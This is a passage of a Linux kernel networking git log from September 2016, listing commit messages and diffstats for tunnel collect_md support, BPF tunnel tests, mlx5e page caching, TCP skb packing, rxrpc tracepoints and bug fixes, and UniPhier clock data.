+++++++++++++++++++++++++++++++ 11 files changed, 789 insertions(+), 476 deletions(-) commit fd9527f404d51e50f40dac0d9a69f2eff3dac33e Merge: eb94737 173ca26 Author: David S. Miller Date: Sat Sep 17 10:13:16 2016 -0400 Merge branch 'ip_tunnel-collect_md' Alexei Starovoitov says: ==================== ip_tunnel: add collect_md mode to IPv4/IPv6 tunnels Similar to geneve, vxlan, gre tunnels implement 'collect metadata' mode in ipip, ipip6, ip6ip6 tunnels. ==================== Signed-off-by: David S. Miller commit 173ca26e9b5136faa82dee37c77cbfb36974d079 Author: Alexei Starovoitov Date: Thu Sep 15 13:00:32 2016 -0700 samples/bpf: add comprehensive ipip, ipip6, ip6ip6 test the test creates 3 namespaces with veth connected via bridge. First two namespaces simulate two different hosts with the same IPv4 and IPv6 addresses configured on the tunnel interface and they communicate with outside world via standard tunnels. Third namespace creates collect_md tunnel that is driven by BPF program which selects different remote host (either first or second namespace) based on tcp dest port number while tcp dst ip is the same. This scenario is rough approximation of load balancer use case. The tests check both traditional tunnel configuration and collect_md mode. Signed-off-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/tcbpf2_kern.c | 132 ++++++++++++++++++++++++++++++++++ samples/bpf/test_ipip.sh | 178 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 310 insertions(+) commit a1c82704d13fd0d0ab0eb10d33a9bb7af83c90e3 Author: Alexei Starovoitov Date: Thu Sep 15 13:00:31 2016 -0700 samples/bpf: extend test_tunnel_bpf.sh with IPIP test extend existing tests for vxlan, geneve, gre to include IPIP tunnel. It tests both traditional tunnel configuration and dynamic via bpf helpers. Signed-off-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/tcbpf2_kern.c | 58 ++++++++++++++++++++++++++++++++++++++++++ samples/bpf/test_tunnel_bpf.sh | 56 ++++++++++++++++++++++++++++++++++------ 2 files changed, 106 insertions(+), 8 deletions(-) commit 8d79266bc48c6ab6477d04e159cabf1e7809cb72 Author: Alexei Starovoitov Date: Thu Sep 15 13:00:30 2016 -0700 ip6_tunnel: add collect_md mode to IPv6 tunnels Similar to gre, vxlan, geneve tunnels allow IPIP6 and IP6IP6 tunnels to operate in 'collect metadata' mode. Unlike ipv4 code here it's possible to reuse ip6_tnl_xmit() function for both collect_md and traditional tunnels. bpf_skb_[gs]et_tunnel_key() helpers and ovs (in the future) are the users. Signed-off-by: Alexei Starovoitov Acked-by: Thomas Graf Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/net/ip6_tunnel.h | 1 + net/ipv6/ip6_tunnel.c | 178 +++++++++++++++++++++++++++++++++++------------ 2 files changed, 134 insertions(+), 45 deletions(-) commit cfc7381b3002756b1dcada32979e942aa3126e31 Author: Alexei Starovoitov Date: Thu Sep 15 13:00:29 2016 -0700 ip_tunnel: add collect_md mode to IPIP tunnel Similar to gre, vxlan, geneve tunnels allow IPIP tunnels to operate in 'collect metadata' mode. bpf_skb_[gs]et_tunnel_key() helpers can make use of it right away. ovs can use it as well in the future (once appropriate ovs-vport abstractions and user apis are added). Note that just like in other tunnels we cannot cache the dst, since tunnel_info metadata can be different for every packet. Signed-off-by: Alexei Starovoitov Acked-by: Thomas Graf Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/net/ip_tunnels.h | 2 ++ include/uapi/linux/if_tunnel.h | 1 + net/ipv4/ip_tunnel.c | 76 ++++++++++++++++++++++++++++++++++++++++++ net/ipv4/ipip.c | 35 +++++++++++++++---- 4 files changed, 108 insertions(+), 6 deletions(-) commit eb94737d711913a23e466b99c0d9ffdf15651290 Author: Julia Lawall Date: Thu Sep 15 22:23:26 2016 +0200 l2tp: constify net_device_ops structures Check for net_device_ops structures that are only stored in the netdev_ops field of a net_device structure. This field is declared const, so net_device_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct net_device_ops i@p = { ... }; @ok@ identifier r.i; struct net_device e; position p; @@ e.netdev_ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct net_device_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct net_device_ops i = { ... }; // The result of size on this file before the change is: text data bss dec hex filename 3401 931 44 4376 1118 net/l2tp/l2tp_eth.o and after the change it is: text data bss dec hex filename 3993 347 44 4384 1120 net/l2tp/l2tp_eth.o Signed-off-by: Julia Lawall Signed-off-by: David S. Miller net/l2tp/l2tp_eth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 373075049c7be28bed875494488c185ef5eeb938 Author: Julia Lawall Date: Thu Sep 15 22:23:25 2016 +0200 dwc_eth_qos: constify net_device_ops structures Check for net_device_ops structures that are only stored in the netdev_ops field of a net_device structure. This field is declared const, so net_device_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct net_device_ops i@p = { ... }; @ok@ identifier r.i; struct net_device e; position p; @@ e.netdev_ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct net_device_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct net_device_ops i = { ... }; // The result of size on this file before the change is: text data bss dec hex filename 21623 1316 40 22979 59c3 drivers/net/ethernet/synopsys/dwc_eth_qos.o and after the change it is: text data bss dec hex filename 22199 724 40 22963 59b3 drivers/net/ethernet/synopsys/dwc_eth_qos.o Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/synopsys/dwc_eth_qos.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 66f58ec486389e8d3f7ebe8cfc3883a72e808eb9 Author: Julia Lawall Date: Thu Sep 15 22:23:24 2016 +0200 hisilicon: constify net_device_ops structures Check for net_device_ops structures that are only stored in the netdev_ops field of a net_device structure. This field is declared const, so net_device_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct net_device_ops i@p = { ... }; @ok@ identifier r.i; struct net_device e; position p; @@ e.netdev_ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct net_device_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct net_device_ops i = { ... }; // The result of size on this file before the change is: text data bss dec hex filename 7995 848 8 8851 2293 drivers/net/ethernet/hisilicon/hip04_eth.o and after the change it is: text data bss dec hex filename 8571 256 8 8835 2283 drivers/net/ethernet/hisilicon/hip04_eth.o Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hip04_eth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5ff904d55da821fd194ff493f2928d134ce5b67a Author: Alan Cox Date: Thu Sep 15 18:51:25 2016 +0100 llc: switch type to bool as the timeout is only tested versus 0 (As asked by Dave in Februrary) Signed-off-by: Alan Cox Signed-off-by: David S. Miller net/llc/af_llc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 19664c6a000956290cce84c6924b13488ab794d6 Author: David Ahern Date: Thu Sep 15 10:18:45 2016 -0700 net: l3mdev: Remove netif_index_is_l3_master No longer used after e0d56fdd73422 ("net: l3mdev: remove redundant calls") Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/l3mdev.h | 24 ------------------------ 1 file changed, 24 deletions(-) commit e1fb9d0389e5386151de32b64624896e2b621e1a Author: David Ahern Date: Thu Sep 15 10:13:47 2016 -0700 net: vrf: Remove RT_FL_TOS No longer used after d66f6c0a8f3c0 ("net: ipv4: Remove l3mdev_get_saddr") Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 3 --- 1 file changed, 3 deletions(-) commit 3613b3dbd1ade9a6a626dae1f608c57638eb5e8a Author: Eric Dumazet Date: Thu Sep 15 09:33:02 2016 -0700 tcp: prepare skbs for better sack shifting With large BDP TCP flows and lossy networks, it is very important to keep a low number of skbs in the write queue. RACK and SACK processing can perform a linear scan of it. We should avoid putting any payload in skb->head, so that SACK shifting can be done if needed. With this patch, we allow to pack ~0.5 MB per skb instead of the 64KB initially cooked at tcp_sendmsg() time. This gives a reduction of number of skbs in write queue by eight. tcp_rack_detect_loss() likes this. We still allow payload in skb->head for first skb put in the queue, to not impact RPC workloads. Signed-off-by: Eric Dumazet Cc: Yuchung Cheng Acked-by: Yuchung Cheng Signed-off-by: David S. Miller net/ipv4/tcp.c | 31 ++++++++++++++++++++++++------- 1 file changed, 24 insertions(+), 7 deletions(-) commit e812bd905a5cf00fea95da9df4889dad63d4a36a Merge: 31b9662 b7450e2 Author: David S. Miller Date: Sat Sep 17 09:53:29 2016 -0400 Merge tag 'wireless-drivers-next-for-davem-2016-09-15' of git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/wireless-drivers-next Kalle Valo says: ==================== wireless-drivers-next patches for 4.9 Major changes: iwlwifi * preparation for new a000 HW continues * some DQA improvements * add support for GMAC * add support for 9460, 9270 and 9170 series mwifiex * support random MAC address for scanning * add HT aggregation support for adhoc mode * add custom regulatory domain support * add manufacturing mode support via nl80211 testmode interface bcma * support BCM53573 series of wireless SoCs bitfield.h * add FIELD_PREP() and FIELD_GET() macros mt7601u * convert to use the new bitfield.h macros brcmfmac * add support for bcm4339 chip with modalias sdio:c00v02D0d4339 ath10k * add nl80211 testmode support for 10.4 firmware * hide kernel addresses from logs using %pK format specifier * implement NAPI support * enable peer stats by default ath9k * use ieee80211_tx_status_noskb where possible wil6210 * extract firmware capabilities from the firmware file ath6kl * enable firmware crash dumps on the AR6004 ath-current is also merged to fix a conflict in ath10k. ==================== Signed-off-by: David S. Miller commit 31b9662193be6ed111db42dca20222a5282ab616 Merge: d191274 4415a03 Author: David S. Miller Date: Sat Sep 17 09:51:48 2016 -0400 Merge branch 'mlx5e-order-0' Tariq Toukan says: ==================== mlx5e Order-0 pages for Striding RQ In this series, we refactor our Striding RQ receive-flow to always use fragmented WQEs (Work Queue Elements) using order-0 pages, omitting the flow that allocates and splits high-order pages which would fragment and deplete high-order pages in the system. The first patch gives a slight degradation, but opens the opportunity to using a simple page-cache mechanism of a fair size. The page-cache, implemented in patch 3, not only closes the performance gap but even gives a gain. In patch 2 we re-organize the code to better manage the calls for alloc/de-alloc pages in the RX flow. Series generated against net-next commit: bed806cb266e "Merge branch 'mlxsw-ethtool'" ==================== Signed-off-by: David S. Miller commit 4415a0319f92ea0d624fe11c917faf9114f89187 Author: Tariq Toukan Date: Thu Sep 15 16:08:38 2016 +0300 net/mlx5e: Implement RX mapped page cache for page recycle Instead of reallocating and mapping pages for RX data-path, recycle already used pages in a per ring cache. Performance tests: The following results were measured on a freshly booted system, giving optimal baseline performance, as high-order pages are yet to be fragmented and depleted. We ran pktgen single-stream benchmarks, with iptables-raw-drop: Single stride, 64 bytes: * 4,739,057 - baseline * 4,749,550 - order0 no cache * 4,786,899 - order0 with cache 1% gain Larger packets, no page cross, 1024 bytes: * 3,982,361 - baseline * 3,845,682 - order0 no cache * 4,127,852 - order0 with cache 3.7% gain Larger packets, every 3rd packet crosses a page, 1500 bytes: * 3,731,189 - baseline * 3,579,414 - order0 no cache * 3,931,708 - order0 with cache 5.4% gain Signed-off-by: Tariq Toukan Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 16 ++++++ drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 15 ++++++ drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 57 ++++++++++++++++++++-- drivers/net/ethernet/mellanox/mlx5/core/en_stats.h | 16 ++++++ 4 files changed, 99 insertions(+), 5 deletions(-) commit a5a0c590166e39fa399940775e7bfd8e1a9356da Author: Tariq Toukan Date: Thu Sep 15 16:08:37 2016 +0300 net/mlx5e: Introduce API for RX mapped pages Manage the allocation and deallocation of mapped RX pages only through dedicated API functions. Signed-off-by: Tariq Toukan Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 46 +++++++++++++++---------- 1 file changed, 27 insertions(+), 19 deletions(-) commit 7e426671704d2266757dff9c4254b788561aa11e Author: Tariq Toukan Date: Thu Sep 15 16:08:36 2016 +0300 net/mlx5e: Single flow order-0 pages for Striding RQ To improve the memory consumption scheme, we omit the flow that demands and splits high-order pages in Striding RQ, and stay with a single Striding RQ flow that uses order-0 pages. Moving to fragmented memory allows the use of larger MPWQEs, which reduces the number of UMR posts and filler CQEs. Moving to a single flow allows several optimizations that improve performance, especially in production servers where we would anyway fallback to order-0 allocations: - inline functions that were called via function pointers. - improve the UMR post process. This patch alone is expected to give a slight performance reduction. However, the new memory scheme gives the possibility to use a page-cache of a fair size, that doesn't inflate the memory footprint, which will dramatically fix the reduction and even give a performance gain. Performance tests: The following results were measured on a freshly booted system, giving optimal baseline performance, as high-order pages are yet to be fragmented and depleted. We ran pktgen single-stream benchmarks, with iptables-raw-drop: Single stride, 64 bytes: * 4,739,057 - baseline * 4,749,550 - this patch no reduction Larger packets, no page cross, 1024 bytes: * 3,982,361 - baseline * 3,845,682 - this patch 3.5% reduction Larger packets, every 3rd packet crosses a page, 1500 bytes: * 3,731,189 - baseline * 3,579,414 - this patch 4% reduction Fixes: 461017cb006a ("net/mlx5e: Support RX multi-packet WQE (Striding RQ)") Fixes: bc77b240b3c5 ("net/mlx5e: Add fragmented memory support for RX multi packet WQE") Signed-off-by: Tariq Toukan Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 54 ++-- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 136 ++++++++-- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 292 ++++----------------- drivers/net/ethernet/mellanox/mlx5/core/en_stats.h | 4 - drivers/net/ethernet/mellanox/mlx5/core/en_txrx.c | 2 +- 5 files changed, 184 insertions(+), 304 deletions(-) commit 8a681c360559f75a80b37e6a6a9590457361ccb0 Author: David Howells Date: Sat Sep 17 10:49:15 2016 +0100 rxrpc: Add config to inject packet loss Add a configuration option to inject packet loss by discarding approximately every 8th packet received and approximately every 8th DATA packet transmitted. Note that no locking is used, but it shouldn't really matter. Signed-off-by: David Howells net/rxrpc/Kconfig | 7 +++++++ net/rxrpc/input.c | 8 ++++++++ net/rxrpc/output.c | 9 +++++++++ 3 files changed, 24 insertions(+) commit 71f3ca408fd43b586c02480768a503af075b247e Author: David Howells Date: Sat Sep 17 10:49:14 2016 +0100 rxrpc: Improve skb tracing Improve sk_buff tracing within AF_RXRPC by the following means: (1) Use an enum to note the event type rather than plain integers and use an array of event names rather than a big multi ?: list. (2) Distinguish Rx from Tx packets and account them separately. This requires the call phase to be tracked so that we know what we might find in rxtx_buffer[]. (3) Add a parameter to rxrpc_{new,see,get,free}_skb() to indicate the event type. (4) A pair of 'rotate' events are added to indicate packets that are about to be rotated out of the Rx and Tx windows. (5) A pair of 'lost' events are added, along with rxrpc_lose_skb() for packet loss injection recording. Signed-off-by: David Howells include/trace/events/rxrpc.h | 12 ++++------ net/rxrpc/af_rxrpc.c | 5 +++-- net/rxrpc/ar-internal.h | 33 ++++++++++++++++++++++----- net/rxrpc/call_event.c | 8 +++---- net/rxrpc/call_object.c | 11 ++++++--- net/rxrpc/conn_event.c | 6 ++--- net/rxrpc/input.c | 13 ++++++----- net/rxrpc/local_event.c | 4 ++-- net/rxrpc/misc.c | 18 +++++++++++++++ net/rxrpc/output.c | 4 ++-- net/rxrpc/peer_event.c | 10 ++++----- net/rxrpc/recvmsg.c | 7 +++--- net/rxrpc/sendmsg.c | 10 ++++----- net/rxrpc/skbuff.c | 53 +++++++++++++++++++++++++++++++------------- 14 files changed, 131 insertions(+), 63 deletions(-) commit ba39f3a0ed756ccd882adf4a77916ec863db3ce4 Author: David Howells Date: Sat Sep 17 10:49:14 2016 +0100 rxrpc: Remove printks from rxrpc_recvmsg_data() to fix uninit var Remove _enter/_debug/_leave calls from rxrpc_recvmsg_data() of which one uses an uninitialised variable. Signed-off-by: David Howells net/rxrpc/recvmsg.c | 8 -------- 1 file changed, 8 deletions(-) commit 849979051cbc9352857d8bb31895ae55afe19d96 Author: David Howells Date: Sat Sep 17 11:13:31 2016 +0100 rxrpc: Add a tracepoint to follow what recvmsg does Add a tracepoint to follow what recvmsg does within AF_RXRPC. Signed-off-by: David Howells include/trace/events/rxrpc.h | 34 ++++++++++++++++++++++++++++++++++ net/rxrpc/ar-internal.h | 17 +++++++++++++++++ net/rxrpc/misc.c | 14 ++++++++++++++ net/rxrpc/recvmsg.c | 34 ++++++++++++++++++++++++++-------- 4 files changed, 91 insertions(+), 8 deletions(-) commit 58dc63c998ea3c5a27e2bf9251eddbf0977056a6 Author: David Howells Date: Sat Sep 17 10:49:13 2016 +0100 rxrpc: Add a tracepoint to follow packets in the Rx buffer Add a tracepoint to follow the life of packets that get added to a call's receive buffer. Signed-off-by: David Howells include/trace/events/rxrpc.h | 33 +++++++++++++++++++++++++++++++++ net/rxrpc/ar-internal.h | 12 ++++++++++++ net/rxrpc/call_accept.c | 3 +++ net/rxrpc/input.c | 6 +++++- net/rxrpc/misc.c | 9 +++++++++ net/rxrpc/recvmsg.c | 11 +++++++++++ 6 files changed, 73 insertions(+), 1 deletion(-) commit f3639df2d90bc919328c459b3c7c49ed5667a52f Author: David Howells Date: Sat Sep 17 10:49:13 2016 +0100 rxrpc: Add a tracepoint to log ACK transmission Add a tracepoint to log information about ACK transmission. Signed-off-by: David Howels include/trace/events/rxrpc.h | 30 ++++++++++++++++++++++++++++++ net/rxrpc/conn_event.c | 3 +++ net/rxrpc/output.c | 7 ++++++- 3 files changed, 39 insertions(+), 1 deletion(-) commit ec71eb9ada34f8d1a58b7c35d906c59411295445 Author: David Howells Date: Sat Sep 17 10:49:13 2016 +0100 rxrpc: Add a tracepoint to log received ACK packets Add a tracepoint to log information from received ACK packets. Signed-off-by: David Howells include/trace/events/rxrpc.h | 26 ++++++++++++++++++++++++++ net/rxrpc/input.c | 2 ++ 2 files changed, 28 insertions(+) commit a124fe3ee5d82f2c9a9b8818ed5cb9f61685f1d3 Author: David Howells Date: Sat Sep 17 10:49:13 2016 +0100 rxrpc: Add a tracepoint to follow the life of a packet in the Tx buffer Add a tracepoint to follow the insertion of a packet into the transmit buffer, its transmission and its rotation out of the buffer. Signed-off-by: David Howells include/trace/events/rxrpc.h | 26 ++++++++++++++++++++++++++ net/rxrpc/ar-internal.h | 12 ++++++++++++ net/rxrpc/input.c | 2 ++ net/rxrpc/misc.c | 9 +++++++++ net/rxrpc/sendmsg.c | 9 ++++++++- 5 files changed, 57 insertions(+), 1 deletion(-) commit 363deeab6d0f308d33d011323661ae9cf5f9f8d6 Author: David Howells Date: Sat Sep 17 10:49:14 2016 +0100 rxrpc: Add connection tracepoint and client conn state tracepoint Add a pair of tracepoints, one to track rxrpc_connection struct ref counting and the other to track the client connection cache state. Signed-off-by: David Howells include/trace/events/rxrpc.h | 60 ++++++++++++++++++++++++++++++++ net/rxrpc/ar-internal.h | 76 +++++++++++++++++++++++++--------------- net/rxrpc/call_accept.c | 4 +++ net/rxrpc/call_object.c | 2 -- net/rxrpc/conn_client.c | 82 ++++++++++++++++++++++++++++++-------------- net/rxrpc/conn_event.c | 2 +- net/rxrpc/conn_object.c | 72 ++++++++++++++++++++++++++++++++++++-- net/rxrpc/conn_service.c | 4 +++ net/rxrpc/misc.c | 31 +++++++++++++++++ 9 files changed, 274 insertions(+), 59 deletions(-) commit a84a46d73050f70fd8820c74840e2815c78d8690 Author: David Howells Date: Sat Sep 17 10:49:14 2016 +0100 rxrpc: Add some additional call tracing Add additional call tracepoint points for noting call-connected, call-released and connection-failed events. Also fix one tracepoint that was using an integer instead of the corresponding enum value as the point type. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 3 +++ net/rxrpc/call_object.c | 18 ++++++++++++++---- 2 files changed, 17 insertions(+), 4 deletions(-) commit a3868bfc8d5b0f36c784deab644ee1d2b0e6974b Author: David Howells Date: Sat Sep 17 10:49:13 2016 +0100 rxrpc: Print the packet type name in the Rx packet trace Print a symbolic packet type name for each valid received packet in the trace output, not just a number. Signed-off-by: David Howells include/trace/events/rxrpc.h | 5 +++-- net/rxrpc/ar-internal.h | 6 +++--- 2 files changed, 6 insertions(+), 5 deletions(-) commit 182f50562490e5861afaa7a2e42dcc0dd9dcfcca Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Fix the basic transmit DATA packet content size at 1412 bytes Fix the basic transmit DATA packet content size at 1412 bytes so that they can be arbitrarily assembled into jumbo packets. In the future, I'm thinking of moving to keeping a jumbo packet header at the beginning of each packet in the Tx queue and creating the packet header on the spot when kernel_sendmsg() is invoked. That way, jumbo packets can be assembled on the spur of the moment for (re-)transmission. Signed-off-by: David Howells net/rxrpc/sendmsg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2311e327cda015a24a201efc7655a9a983679e55 Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Be consistent about switch value in rxrpc_send_call_packet() rxrpc_send_call_packet() should use type in both its switch-statements rather than using pkt->whdr.type. This might give the compiler an easier job of uninitialised variable checking. Signed-off-by: David Howells net/rxrpc/output.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 27d0fc431c6b4847231c1490fa541bc3f5a7a351 Author: David Howells Date: Sat Sep 17 10:49:13 2016 +0100 rxrpc: Don't transmit an ACK if there's no reason set Don't transmit an ACK if call->ackr_reason in unset. There's the possibility of a race between recvmsg() sending an ACK and the background processing thread trying to send the same one. Signed-off-by: David Howells net/rxrpc/output.c | 5 +++++ 1 file changed, 5 insertions(+) commit dfa7d9204054b091949d87270e55e0fd5800c3ae Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Fix retransmission algorithm Make the retransmission algorithm use for-loops instead of do-loops and move the counter increments into the for-statement increment slots. Though the do-loops are slighly more efficient since there will be at least one pass through the each loop, the counter increments are harder to get right as the continue-statements skip them. Without this, if there are any positive acks within the loop, the do-loop will cycle forever because the counter increment is never done. Signed-off-by: David Howells net/rxrpc/call_event.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit d01dc4c3c1209e865368d5f8d3b5e08f97326ca9 Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Fix the parsing of soft-ACKs The soft-ACK parser doesn't increment the pointer into the soft-ACK list, resulting in the first ACK/NACK value being applied to all the relevant packets in the Tx queue. This has the potential to miss retransmissions and cause excessive retransmissions. Fix this by incrementing the pointer. Signed-off-by: David Howells net/rxrpc/input.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 78883793f8ac4bb3f97d48db7a8c71d8476bcf98 Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Fix unexposed client conn release If the last call on a client connection is release after the connection has had a bunch of calls allocated but before any DATA packets are sent (so that it's not yet marked RXRPC_CONN_EXPOSED), an assertion will happen in rxrpc_disconnect_client_call(). af_rxrpc: Assertion failed - 1(0x1) >= 2(0x2) is false ------------[ cut here ]------------ kernel BUG at ../net/rxrpc/conn_client.c:753! This is because it's expecting the conn to have been exposed and to have 2 or more refs - but this isn't necessarily the case. Simply remove the assertion. This allows the conn to be moved into the inactive state and deleted if it isn't resurrected before the final put is called. Signed-off-by: David Howells net/rxrpc/conn_client.c | 1 - 1 file changed, 1 deletion(-) commit 357f5ef64628c2d6c532e7a6bfc0bc3830b4c221 Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Call rxrpc_release_call() on error in rxrpc_new_client_call() Call rxrpc_release_call() on getting an error in rxrpc_new_client_call() rather than trying to do the cleanup ourselves. This isn't a problem, provided we set RXRPC_CALL_HAS_USERID only if we actually add the call to the calls tree as cleanup code fragments that would otherwise cause problems are conditional. Without this, we miss some of the cleanup. Signed-off-by: David Howells net/rxrpc/call_object.c | 36 ++++++++++++------------------------ 1 file changed, 12 insertions(+), 24 deletions(-) commit 66d58af7f4af53e8318e852efa31a7cb0e31bfb6 Author: David Howells Date: Sat Sep 17 10:49:12 2016 +0100 rxrpc: Fix the putting of client connections In rxrpc_put_one_client_conn(), if a connection has RXRPC_CONN_COUNTED set on it, then it's accounted for in rxrpc_nr_client_conns and may be on various lists - and this is cleaned up correctly. However, if the connection doesn't have RXRPC_CONN_COUNTED set on it, then the put routine returns rather than just skipping the extra bit of cleanup. Fix this by making the extra bit of clean up conditional instead and always killing off the connection. This manifests itself as connections with a zero usage count hanging around in /proc/net/rxrpc_conns because the connection allocated, but discarded, due to a race with another process that set up a parallel connection, which was then shared instead. Signed-off-by: David Howells net/rxrpc/conn_client.c | 28 +++++++++++++--------------- 1 file changed, 13 insertions(+), 15 deletions(-) commit 0360da6db7d6390e7bd2f6c93b01af29bcd36ad5 Author: David Howells Date: Sat Sep 17 10:49:11 2016 +0100 rxrpc: Purge the to_be_accepted queue on socket release Purge the queue of to_be_accepted calls on socket release. Note that purging sock_calls doesn't release the ref owned by to_be_accepted. Probably the sock_calls list is redundant given a purges of the recvmsg_q, the to_be_accepted queue and the calls tree. Signed-off-by: David Howells net/rxrpc/call_object.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit e6f3afb3fc058e17b407b6f7cac08058b19e641c Author: David Howells Date: Sat Sep 17 10:49:11 2016 +0100 rxrpc: Record calls that need to be accepted Record calls that need to be accepted using sk_acceptq_added() otherwise the backlog counter goes negative because sk_acceptq_removed() is called. This causes the preallocator to malfunction. Calls that are preaccepted by AFS within the kernel aren't affected by this. Signed-off-by: David Howells net/rxrpc/call_accept.c | 2 ++ 1 file changed, 2 insertions(+) commit 816c9fce12f3745abc959c0fca8ace1c2c51421c Author: David Howells Date: Sat Sep 17 10:49:11 2016 +0100 rxrpc: Fix handling of the last packet in rxrpc_recvmsg_data() The code for determining the last packet in rxrpc_recvmsg_data() has been using the RXRPC_CALL_RX_LAST flag to determine if the rx_top pointer points to the last packet or not. This isn't a good idea, however, as the input code may be running simultaneously on another CPU and that sets the flag *before* updating the top pointer. Fix this by the following means: (1) Restrict the use of RXRPC_CALL_RX_LAST to the input routines only. There's otherwise a synchronisation problem between detecting the flag and checking tx_top. This could probably be dealt with by appropriate application of memory barriers, but there's a simpler way. (2) Set RXRPC_CALL_RX_LAST after setting rx_top. (3) Make rxrpc_rotate_rx_window() consult the flags header field of the DATA packet it's about to discard to see if that was the last packet. Use this as the basis for ending the Rx phase. This shouldn't be a problem because the recvmsg side of things is guaranteed to see the packets in order. (4) Make rxrpc_recvmsg_data() return 1 to indicate the end of the data if: (a) the packet it has just processed is marked as RXRPC_LAST_PACKET (b) the call's Rx phase has been ended. Signed-off-by: David Howells net/rxrpc/input.c | 4 +++- net/rxrpc/recvmsg.c | 49 +++++++++++++++++++++++++++++++++---------------- 2 files changed, 36 insertions(+), 17 deletions(-) commit 2e2ea51dec2ab6a81950d4b436eb66ebf45dd507 Author: David Howells Date: Sat Sep 17 10:49:11 2016 +0100 rxrpc: Check the return value of rxrpc_locate_data() Check the return value of rxrpc_locate_data() in rxrpc_recvmsg_data(). Signed-off-by: David Howells net/rxrpc/recvmsg.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 4b22457c06a3a950e14938c486283ad0f308c13d Author: David Howells Date: Sat Sep 17 10:49:11 2016 +0100 rxrpc: Move the check of rx_pkt_offset from rxrpc_locate_data() to caller Move the check of rx_pkt_offset from rxrpc_locate_data() to the caller, rxrpc_recvmsg_data(), so that it's more clear what's going on there. Signed-off-by: David Howells net/rxrpc/recvmsg.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit fabf9201806255d70386d8bc9f6a2942c0940da2 Author: David Howells Date: Sat Sep 17 10:49:11 2016 +0100 rxrpc: Remove some whitespace. Remove a tab that's on a line that should otherwise be blank. Signed-off-by: David Howells net/rxrpc/call_event.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d19127473a575c629c70974cee0bb8acb6374f08 Author: David Howells Date: Sat Sep 17 07:26:01 2016 +0100 rxrpc: Make IPv6 support conditional on CONFIG_IPV6 Add CONFIG_AF_RXRPC_IPV6 and make the IPv6 support code conditional on it. This is then made conditional on CONFIG_IPV6. Without this, the following can be seen: net/built-in.o: In function `rxrpc_init_peer': >> peer_object.c:(.text+0x18c3c8): undefined reference to `ip6_route_output_flags' Reported-by: kbuild test robot Signed-off-by: David Howells Signed-off-by: David S. Miller net/rxrpc/Kconfig | 7 +++++++ net/rxrpc/af_rxrpc.c | 7 ++++++- net/rxrpc/conn_object.c | 2 ++ net/rxrpc/local_object.c | 2 ++ net/rxrpc/output.c | 2 ++ net/rxrpc/peer_event.c | 4 +++- net/rxrpc/peer_object.c | 10 ++++++++++ net/rxrpc/utils.c | 2 ++ 8 files changed, 34 insertions(+), 2 deletions(-) commit 7f4d3b52b6b69f274006cc65984672bfa7fd8b92 Author: Masahiro Yamada Date: Fri Sep 16 16:40:04 2016 +0900 clk: uniphier: add clock data for UniPhier SoCs Add clock data arrays for all UniPhier SoCs with a binding document. Signed-off-by: Masahiro Yamada Acked-by: Rob Herring Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/uniphier-clock.txt | 134 ++++++++++++++++++ drivers/clk/uniphier/Makefile | 3 + drivers/clk/uniphier/clk-uniphier-core.c | 91 +++++++++++++ drivers/clk/uniphier/clk-uniphier-mio.c | 101 ++++++++++++++ drivers/clk/uniphier/clk-uniphier-peri.c | 57 ++++++++ drivers/clk/uniphier/clk-uniphier-sys.c | 151 +++++++++++++++++++++ 